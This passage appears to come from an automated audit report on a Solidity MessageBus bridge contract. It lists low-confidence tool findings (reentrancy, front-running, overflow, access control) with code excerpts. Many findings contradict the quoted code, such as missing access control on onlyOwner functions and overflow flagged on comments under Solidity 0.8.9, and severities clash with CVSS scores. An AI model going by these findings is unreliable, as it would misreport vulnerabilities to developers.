| CVSS Score  | 3.1                                                     |
| Confidence  | 20%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:786 |
| Status      | Open (20% conf.)                                        |
| Detected By | scribble                                                |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
>> 786 |     function setPegVaultV2(address _addr) public onlyOwner {
787 |         require(_addr != address(0), "invalid address");
788 |         pegVaultV2 = _addr;
789 |         emit PegVaultV2Updated(pegVaultV2);
790 |     }
791 | }
```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add #if\_succeeds annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

# F-097. Integer Overflow / Underflow

| PROPERTY    | VALUE                                                                                |
|-------------|--------------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                               |
| Category    |                                                                                      |
| CVSS Score  | 6.2                                                                                  |
| Confidence  | 14%                                                                                  |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:360<br>(sendMessageWithTransfer) |
| Status      | Open (14% conf.)                                                                     |
| Detected By | iaudit                                                                               |

## Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity < 0.8.0.



## Vulnerable Code

```

355 |      /**
356 |      * @notice Withdraws message fee in the form of native gas token.
357 |      * @param _account The address receiving the fee.
358 |      * @param _cumulativeFee The cumulative fee credited to the account.
Tracked by SGN.
359 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A withdrawal must be
>> 360 |      * signed-off by +2/3 of the sigsVerifier's current signing power to be
delivered.
361 |      * @param _signers The sorted list of signers.
362 |      * @param _powers The signing powers of the signers.
363 |      */
364 |      function withdrawFee(
365 |          address _account,

```

## Impact Analysis

Potential integer\_overflow vulnerability detected via pattern analysis

## Recommendation

Upgrade to Solidity  $\geq 0.8.0$  which has built-in overflow checks, or use OpenZeppelin SafeMath library.

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-098. Integer Overflow / Underflow

| PROPERTY    | VALUE                                                                  |
|-------------|------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                 |
| Category    |                                                                        |
| CVSS Score  | 6.2                                                                    |
| Confidence  | 14%                                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:494 (initReceiver) |
| Status      | Open (14% conf.)                                                       |
| Detected By | iaudit                                                                 |

## Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity  $< 0.8.0$ .

## Vulnerable Code

```

489 |      /**
490 |       * @notice Execute a message with a successful transfer.
491 |       * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
492 |       * @param _transfer The transfer info.
493 |       * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A relay must be signed-off by
>> 494 |       * +2/3 of the sigsVerifier's current signing power to be delivered.
495 |       * @param _signers The sorted list of signers.
496 |       * @param _powers The signing powers of the signers.
497 |       */
498 |       function executeMessageWithTransfer(
499 |           bytes calldata _message,

```

## Impact Analysis

Potential integer\_overflow vulnerability detected via pattern analysis

## Recommendation

Upgrade to Solidity  $\geq 0.8.0$  which has built-in overflow checks, or use OpenZeppelin SafeMath library.

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-099. Integer Overflow / Underflow

| PROPERTY    | VALUE                                                                                   |
|-------------|-----------------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                                  |
| Category    |                                                                                         |
| CVSS Score  | 6.2                                                                                     |
| Confidence  | 14%                                                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:535<br>(executeMessageWithTransfer) |
| Status      | Open (14% conf.)                                                                        |
| Detected By | iaudit                                                                                  |

## Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity  $< 0.8.0$ .

## Vulnerable Code

```

530 |      /**
531 |       * @notice Execute a message with a refunded transfer.
532 |       * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
533 |       * @param _transfer The transfer info.
534 |       * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A relay must be signed-off by
>> 535 |       * +2/3 of the sigsVerifier's current signing power to be delivered.
536 |       * @param _signers The sorted list of signers.
537 |       * @param _powers The signing powers of the signers.
538 |       */
539 |       function executeMessageWithTransferRefund(
540 |           bytes calldata _message, // the same message associated with the
original transfer

```

## Impact Analysis

Potential integer\_overflow vulnerability detected via pattern analysis

## Recommendation

Upgrade to Solidity  $\geq$  0.8.0 which has built-in overflow checks, or use OpenZeppelin SafeMath library.

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-100. Access Control Issue

| PROPERTY    | VALUE                                                                          |
|-------------|--------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                         |
| Category    |                                                                                |
| CVSS Score  | 9.6                                                                            |
| Confidence  | 33%                                                                            |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:272<br>(transferOwnership) |
| Status      | Open (33% conf.)                                                               |
| Detected By | iaudit                                                                         |

## Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

## Vulnerable Code

```

267 |
268 |     /**
269 |     * @dev Transfers ownership of the contract to a new account (`newOwner`).
270 |     * Can only be called by the current owner.
271 |     */
>> 272 |     function transferOwnership(address newOwner) public virtual onlyOwner {
273 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
274 |         _setOwner(newOwner);
275 |     }
276 |
277 |     function _setOwner(address newOwner) private {

```

## Impact Analysis

Potential access\_control vulnerability detected via pattern analysis

## Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

## References

- SWC-115
- OWASP Smart Contract Top 10

## F-101. Access Control Issue

| PROPERTY    | VALUE                                                                           |
|-------------|---------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                          |
| Category    |                                                                                 |
| CVSS Score  | 9.6                                                                             |
| Confidence  | 33%                                                                             |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:762<br>(setLiquidityBridge) |
| Status      | Open (33% conf.)                                                                |
| Detected By | iaudit                                                                          |

## Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

## Vulnerable Code

```

757 |         return false;
758 |     }
759 |
760 |     // ===== contract addr config =====
761 |
>> 762 |     function setLiquidityBridge(address _addr) public onlyOwner {
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |

```

## Impact Analysis

Potential access\_control vulnerability detected via pattern analysis

## Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

## References

- SWC-115
- OWASP Smart Contract Top 10

## F-102. Access Control Issue

| PROPERTY    | VALUE                                                                  |
|-------------|------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                 |
| Category    |                                                                        |
| CVSS Score  | 9.6                                                                    |
| Confidence  | 33%                                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:768 (setPegBridge) |
| Status      | Open (33% conf.)                                                       |
| Detected By | iaudit                                                                 |

## Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

## Vulnerable Code

```

763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
>> 768 |     function setPegBridge(address _addr) public onlyOwner {
769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |

```

## Impact Analysis

Potential access\_control vulnerability detected via pattern analysis

## Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

## References

- SWC-115
- OWASP Smart Contract Top 10

## F-103. Uninitialized Storage Variable

| PROPERTY    | VALUE                                                                |
|-------------|----------------------------------------------------------------------|
| Severity    | LOW                                                                  |
| Category    |                                                                      |
| CVSS Score  | 8.6                                                                  |
| Confidence  | 33%                                                                  |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:417 (setFeeBase) |
| Status      | Open (33% conf.)                                                     |
| Detected By | iaudit                                                               |

## Description

State variable declared without initialization. Depending on the storage slot, this may point to unexpected data.

## Vulnerable Code

```

412 |         PegWithdrawV2 // withdraw from original token vault v2
413 |     }
414 |
415 |     struct TransferInfo {
416 |         TransferType t;
>> 417 |         address sender;
418 |         address receiver;
419 |         address token;
420 |         uint256 amount;
421 |         uint64 seqnum; // only needed for LqWithdraw
422 |         uint64 srcChainId;

```

## Impact Analysis

Potential uninitialized\_storage vulnerability detected via pattern analysis

## Recommendation

Explicitly initialize all state variables in the constructor or at declaration.

## References

- SWC-109
- OWASP Smart Contract Top 10

## F-104. Uninitialized Storage Variable

| PROPERTY    | VALUE                                                                |
|-------------|----------------------------------------------------------------------|
| Severity    | LOW                                                                  |
| Category    |                                                                      |
| CVSS Score  | 8.6                                                                  |
| Confidence  | 33%                                                                  |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:418 (setFeeBase) |
| Status      | Open (33% conf.)                                                     |
| Detected By | iaudit                                                               |

## Description

State variable declared without initialization. Depending on the storage slot, this may point to unexpected data.

## Vulnerable Code

```

413 |     }
414 |
415 |     struct TransferInfo {
416 |         TransferType t;
417 |         address sender;
>> 418 |         address receiver;
419 |         address token;
420 |         uint256 amount;
421 |         uint64 seqnum; // only needed for LqWithdraw
422 |         uint64 srcChainId;
423 |         bytes32 refId;

```

## Impact Analysis

Potential uninitialized\_storage vulnerability detected via pattern analysis

## Recommendation

Explicitly initialize all state variables in the constructor or at declaration.

## References

- SWC-109
- OWASP Smart Contract Top 10

## F-105. Uninitialized Storage Variable

| PROPERTY    | VALUE                                                                |
|-------------|----------------------------------------------------------------------|
| Severity    | LOW                                                                  |
| Category    |                                                                      |
| CVSS Score  | 8.6                                                                  |
| Confidence  | 33%                                                                  |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:419 (setFeeBase) |
| Status      | Open (33% conf.)                                                     |
| Detected By | iaudit                                                               |

## Description

State variable declared without initialization. Depending on the storage slot, this may point to unexpected data.

## Vulnerable Code

```

414 |
415 |     struct TransferInfo {

```



```

416 |         TransferType t;
417 |         address sender;
418 |         address receiver;
>> 419 |         address token;
420 |         uint256 amount;
421 |         uint64 seqnum; // only needed for LqWithdraw
422 |         uint64 srcChainId;
423 |         bytes32 refId;
424 |     }

```

## Impact Analysis

Potential uninitialized\_storage vulnerability detected via pattern analysis

## Recommendation

Explicitly initialize all state variables in the constructor or at declaration.

## References

- SWC-109
- OWASP Smart Contract Top 10

## F-106. ml\_detected\_vulnerability

| PROPERTY    | VALUE                      |
|-------------|----------------------------|
| Severity    | MEDIUM                     |
| Category    |                            |
| CVSS Score  | 3.1                        |
| Confidence  | 47%                        |
| Location    | flattened_MessageBus.sol:0 |
| Status      | Open (47% conf.)           |
| Detected By | dagmn                      |

## Description

Integer overflow/underflow vulnerability

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Solidity 0.8+ or SafeMath library for arithmetic operations

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-107. integer\_overflow

| PROPERTY    | VALUE            |
|-------------|------------------|
| Severity    | MEDIUM           |
| Category    |                  |
| CVSS Score  | 6.2              |
| Confidence  | 19%              |
| Location    | unknown:?        |
| Status      | Open (19% conf.) |
| Detected By | smartbugs_ml     |

## Description

ML model detected unchecked arithmetic operations

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

Arithmetic overflow/underflow can cause balances to wrap around, enabling attackers to mint tokens or manipulate accounting. Solidity 0.8+ has built-in overflow protection, but unchecked blocks and assembly bypass this.

## Recommendation

Use Solidity 0.8+ or SafeMath library for arithmetic

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-108. Front-Running Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 6.2                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:371 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

Hash comparison - solution can be front-run. Found at line 371.

### Vulnerable Code

```

366 |         uint256 _cumulativeFee,
367 |         bytes[] calldata _sigs,
368 |         address[] calldata _signers,
369 |         uint256[] calldata _powers
370 |     ) external {
>> 371 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "withdrawFee"));
372 |         sigsVerifier.verifySigs(abi.encodePacked(domain, _account,
_cumulativeFee), _sigs, _signers, _powers);
373 |         uint256 amount = _cumulativeFee - withdrawnFees[_account];
374 |         require(amount > 0, "No new amount to withdraw");
375 |         withdrawnFees[_account] = _cumulativeFee;
376 |         (bool sent, ) = _account.call{value: amount, gas: 50000}("");

```

### Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- SWC-114
- OWASP Smart Contract Top 10

## F-109. Front-Running Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 6.2                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:512 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

Hash comparison - solution can be front-run. Found at line 512.

### Vulnerable Code

```

507 |      // This also indicates that different transfers can carry the exact
same messages.
508 |      bytes32 messageId = verifyTransfer(_transfer);
509 |      require(executedMessages[messageId] == TxStatus.Null, "transfer
already executed");
510 |      executedMessages[messageId] = TxStatus.Pending;
511 |
>> 512 |      bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "MessageWithTransfer"));
513 |      IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId, _message), _sigs, _signers, _powers);
514 |      TxStatus status;
515 |      bool success = executeMessageWithTransfer(_transfer, _message);
516 |      if (success) {
517 |          status = TxStatus.Success;

```

### Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- SWC-114
- OWASP Smart Contract Top 10

## F-110. Front-Running Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 6.2                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:551 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

Hash comparison - solution can be front-run. Found at line 551.

### Vulnerable Code

```

546 |      // similar to executeMessageWithTransfer
547 |      bytes32 messageId = verifyTransfer(_transfer);
548 |      require(executedMessages[messageId] == TxStatus.Null, "transfer
already executed");
549 |      executedMessages[messageId] = TxStatus.Pending;
550 |
>> 551 |      bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "MessageWithTransferRefund"));
552 |      IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId, _message), _sigs, _signers, _powers);
553 |      TxStatus status;
554 |      bool success = executeMessageWithTransferRefund(_transfer, _message);
555 |      if (success) {
556 |          status = TxStatus.Success;

```

### Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- SWC-114
- OWASP Smart Contract Top 10

## F-111. Front-Running Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 6.2                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:585 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

Hash comparison - solution can be front-run. Found at line 585.

### Vulnerable Code

```

580 |         // in order to guarantee that each message can only be applied once
581 |         bytes32 messageId = computeMessageOnlyId(_route, _message);
582 |         require(executedMessages[messageId] == TxStatus.Null, "message already
executed");
583 |         executedMessages[messageId] = TxStatus.Pending;
584 |
>> 585 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "Message"));
586 |         IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId), _sigs, _signers, _powers);
587 |         TxStatus status;
588 |         bool success = executeMessage(_route, _message);
589 |         if (success) {
590 |             status = TxStatus.Success;

```

### Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- SWC-114
- OWASP Smart Contract Top 10

## F-112. Front-Running Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 6.2                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:734 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

Hash comparison - solution can be front-run. Found at line 734.

### Vulnerable Code

```

729 |         } else {
730 |             // TransferType.PegWithdrawV2
731 |             require(IOriginalTokenVaultV2(bridgeAddr).records(transferId)
== true, "withdraw record not exist");
732 |         }
733 |     }
>> 734 |     return keccak256(abi.encodePacked(MsgType.MessageWithTransfer,
bridgeAddr, transferId));
735 | }
736 |
737 | function computeMessageOnlyId(RouteInfo calldata _route, bytes calldata
_message) private pure returns (bytes32) {
738 |     return
739 |     keccak256(

```

### Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- SWC-114
- OWASP Smart Contract Top 10

## F-113. Reentrancy Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 9.6                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:515 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

State change after external call. External call at line 515, state change at line 517. Use checks-effects-interactions pattern.

### Vulnerable Code

```

510 |         executedMessages[messageId] = TxStatus.Pending;
511 |
512 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "MessageWithTransfer"));
513 |         IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId, _message), _sigs, _signers, _powers);
514 |         TxStatus status;
>> 515 |         bool success = executeMessageWithTransfer(_transfer, _message);
516 |         if (success) {
517 |             status = TxStatus.Success;
518 |         } else {
519 |             success = executeMessageWithTransferFallback(_transfer, _message);
520 |             if (success) {

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Apply the Checks-Effects-Interactions pattern: verify conditions, update state, then make external calls. Consider using OpenZeppelin's ReentrancyGuard modifier.

### References

- SWC-107
- OWASP Smart Contract Top 10



## F-114. Reentrancy Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 9.6                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:554 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

State change after external call. External call at line 554, state change at line 556. Use checks-effects-interactions pattern.

### Vulnerable Code

```

549 |         executedMessages[messageId] = TxStatus.Pending;
550 |
551 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "MessageWithTransferRefund"));
552 |         IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId, _message), _sigs, _signers, _powers);
553 |         TxStatus status;
>> 554 |         bool success = executeMessageWithTransferRefund(_transfer, _message);
555 |         if (success) {
556 |             status = TxStatus.Success;
557 |         } else {
558 |             status = TxStatus.Fail;
559 |         }

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Apply the Checks-Effects-Interactions pattern: verify conditions, update state, then make external calls. Consider using OpenZeppelin's ReentrancyGuard modifier.

### References

- SWC-107
- OWASP Smart Contract Top 10

## F-115. Reentrancy Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 9.6                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:588 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

State change after external call. External call at line 588, state change at line 590. Use checks-effects-interactions pattern.

### Vulnerable Code

```

583 |         executedMessages[messageId] = TxStatus.Pending;
584 |
585 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "Message"));
586 |         IBridge(liquidityBridge).verifySigs(abi.encodePacked(domain,
messageId), _sigs, _signers, _powers);
587 |         TxStatus status;
>> 588 |         bool success = executeMessage(_route, _message);
589 |         if (success) {
590 |             status = TxStatus.Success;
591 |         } else {
592 |             status = TxStatus.Fail;
593 |         }

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Apply the Checks-Effects-Interactions pattern: verify conditions, update state, then make external calls. Consider using OpenZeppelin's ReentrancyGuard modifier.

### References

- SWC-107
- OWASP Smart Contract Top 10

## F-116. Reentrancy Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 9.6                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:604 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

State change after external call. External call at line 604, state change at line 615. Use checks-effects-interactions pattern.

### Vulnerable Code

```

599 |
600 |     function executeMessageWithTransfer(TransferInfo calldata _transfer, bytes
calldata _message)
601 |         private
602 |         returns (bool)
603 |     {
>> 604 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
605 |             abi.encodeWithSelector(
606 |                 IMessageReceiverApp.executeMessageWithTransfer.selector,
607 |                 _transfer.sender,
608 |                 _transfer.token,
609 |                 _transfer.amount,
```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Apply the Checks-Effects-Interactions pattern: verify conditions, update state, then make external calls. Consider using OpenZeppelin's ReentrancyGuard modifier.

### References

- SWC-107
- OWASP Smart Contract Top 10

## F-117. Reentrancy Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 9.6                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:625 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

State change after external call. External call at line 625, state change at line 636. Use checks-effects-interactions pattern.

### Vulnerable Code

```

620 |
621 |     function executeMessageWithTransferFallback(TransferInfo calldata
_transfer, bytes calldata _message)
622 |         private
623 |         returns (bool)
624 |     {
>> 625 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
626 |             abi.encodeWithSelector(
627 |                 IMessageReceiverApp.executeMessageWithTransferFallback.selector,
628 |                 _transfer.sender,
629 |                 _transfer.token,
630 |                 _transfer.amount,

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Apply the Checks-Effects-Interactions pattern: verify conditions, update state, then make external calls. Consider using OpenZeppelin's ReentrancyGuard modifier.

### References

- SWC-107

- OWASP Smart Contract Top 10

## F-118. Reentrancy Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 9.6                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:646 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

### Description

State change after external call. External call at line 646, state change at line 655. Use checks-effects-interactions pattern.

### Vulnerable Code

```

641 |
642 |     function executeMessageWithTransferRefund(TransferInfo calldata _transfer,
bytes calldata _message)
643 |         private
644 |         returns (bool)
645 |     {
>> 646 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
647 |             abi.encodeWithSelector(
648 |                 IMessageReceiverApp.executeMessageWithTransferRefund.selector,
649 |                 _transfer.token,
650 |                 _transfer.amount,
651 |                 _message

```

### Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

### Recommendation

Apply the Checks-Effects-Interactions pattern: verify conditions, update state, then make external calls. Consider using OpenZeppelin's ReentrancyGuard modifier.

## References

- SWC-107
- OWASP Smart Contract Top 10

## F-119. Reentrancy Vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 9.6                                                     |
| Confidence  | 44%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:745 |
| Status      | Open (44% conf.)                                        |
| Detected By | smartbugs_detector                                      |

## Description

State change after external call. External call at line 745, state change at line 754. Use checks-effects-interactions pattern.

## Vulnerable Code

```

740 |             abi.encodePacked(MsgType.MessageOnly, _route.sender,
_route.receiver, _route.srcChainId, _message)
741 |         );
742 |     }
743 |
744 |     function executeMessage(RouteInfo calldata _route, bytes calldata
_message) private returns (bool) {
>> 745 |         (bool ok, bytes memory res) = address(_route.receiver).call{value:
msg.value}({
746 |             abi.encodeWithSelector(
747 |                 IMessageReceiverApp.executeMessage.selector,
748 |                 _route.sender,
749 |                 _route.srcChainId,
750 |                 _message

```

## Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

## Recommendation

Apply the Checks-Effects-Interactions pattern: verify conditions, update state, then make external calls. Consider using OpenZeppelin's ReentrancyGuard modifier.

## References

- SWC-107
- OWASP Smart Contract Top 10

## F-120. Missing Access Control

| PROPERTY    | VALUE                                                 |
|-------------|-------------------------------------------------------|
| Severity    | MEDIUM                                                |
| Category    |                                                       |
| CVSS Score  | 9.6                                                   |
| Confidence  | 44%                                                   |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:7 |
| Status      | Open (44% conf.)                                      |
| Detected By | smartbugs_detector                                    |

## Description

Unprotected withdrawal function. Function 'withdraw' at line 7 has no access control.

## Vulnerable Code

```

2 | pragma solidity =0.8.9 >=0.8.0 ^0.8.0;
3 |
4 | // MessageBus/src/interfaces/IBridge.sol
5 |
6 | interface IBridge {
>> 7 |     function send(
8 |         address _receiver,
9 |         address _token,
10 |         uint256 _amount,
11 |         uint64 _dstChainId,
12 |         uint64 _nonce,

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-121. Missing Access Control

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | MEDIUM                                                 |
| Category    |                                                        |
| CVSS Score  | 9.6                                                    |
| Confidence  | 44%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:16 |
| Status      | Open (44% conf.)                                       |
| Detected By | smartbugs_detector                                     |

## Description

Unprotected withdrawal function. Function 'withdraw' at line 16 has no access control.

## Vulnerable Code

```

11 |         uint64 _dstChainId,
12 |         uint64 _nonce,
13 |         uint32 _maxSlippage
14 |     ) external;
15 |
>> 16 |     function relay(
17 |         bytes calldata _relayRequest,
18 |         bytes[] calldata _sigs,
19 |         address[] calldata _signers,
20 |         uint256[] calldata _powers
21 |     ) external;
```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.



## Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-122. Missing Access Control

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | MEDIUM                                                 |
| Category    |                                                        |
